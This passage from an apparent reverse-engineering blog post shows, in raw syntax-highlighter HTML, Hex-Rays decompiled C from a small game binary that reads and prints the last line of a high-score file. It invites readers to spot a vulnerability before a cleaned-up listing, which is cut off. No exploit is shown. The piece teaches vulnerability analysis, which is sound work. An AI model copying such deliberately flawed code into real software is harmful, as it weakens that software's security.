class=\"crayon-t\">int<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">sub_400DD0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-163\" class=\"crayon-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-164\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">FILE *<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ r12@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-165\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-v\">v2<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-166\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er13@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-167\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">v4<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er14@8<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-168\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">void<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">v6<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rsp@13<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-169\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+0h] [bp-40h]@3<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-170\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">v8<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+Fh] [bp-31h]@13<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-171\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1de589549069-172\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;You can see the sun!\\nFinally, you are free!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-173\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v1<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">fopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;highscore.txt&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;r&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-174\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-i\">v1<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-175\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-176\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v2<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-177\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">i<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-o\">++<\/span><span class=\"crayon-i\">i<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-178\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-179\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v4<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">i<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-180\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">fseek<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v2<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-181\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-182\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-183\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-184\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-185\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-186\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">ptr<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-cn\">10<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-187\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-188\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-v\">v2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-189\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">ptr<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-cn\">13<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-190\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-191\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-192\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">fseek<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-193\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-194\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">v6<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">alloca<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v4<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">15LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-195\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">v8<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xFFFFFFFFFFFFFFF0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-196\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">v8<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xFFFFFFFFFFFFFFF0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-197\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-198\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;On the wall behind you, you see a long list of names, the last one is: %s\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-199\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-200\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-e\">sub_400CE0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-201\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-202\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-203\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">v1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-204\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-205\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;On the wall behind you, you see a list of something, probably names.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-206\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-e\">sub_400CE0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1de589549069-207\" class=\"crayon-line\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>As you can see, this is a really small and simple program, and the Hex-Rays output is pretty readable as-is. When working with the code in IDA, I can clean things up further though. Renaming functions and variables, changing types and function definitions, adding comments, and manually fixing mistakes that has been made by IDA:s automatic code analysis, can make the code a lot easier to understand, and make it easier to spot vulnerabilities in the code.<\/p>\n<p>After working with the code manually in IDA for a while, we end up with the following code. If you have not found the vulnerability yet, look for it once again while reading through the updated code listing:<\/p>\n<div id=\"crayon-57eb96174b1ef243828304\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-111\">111<\/div>\n<div class=\"crayon-num 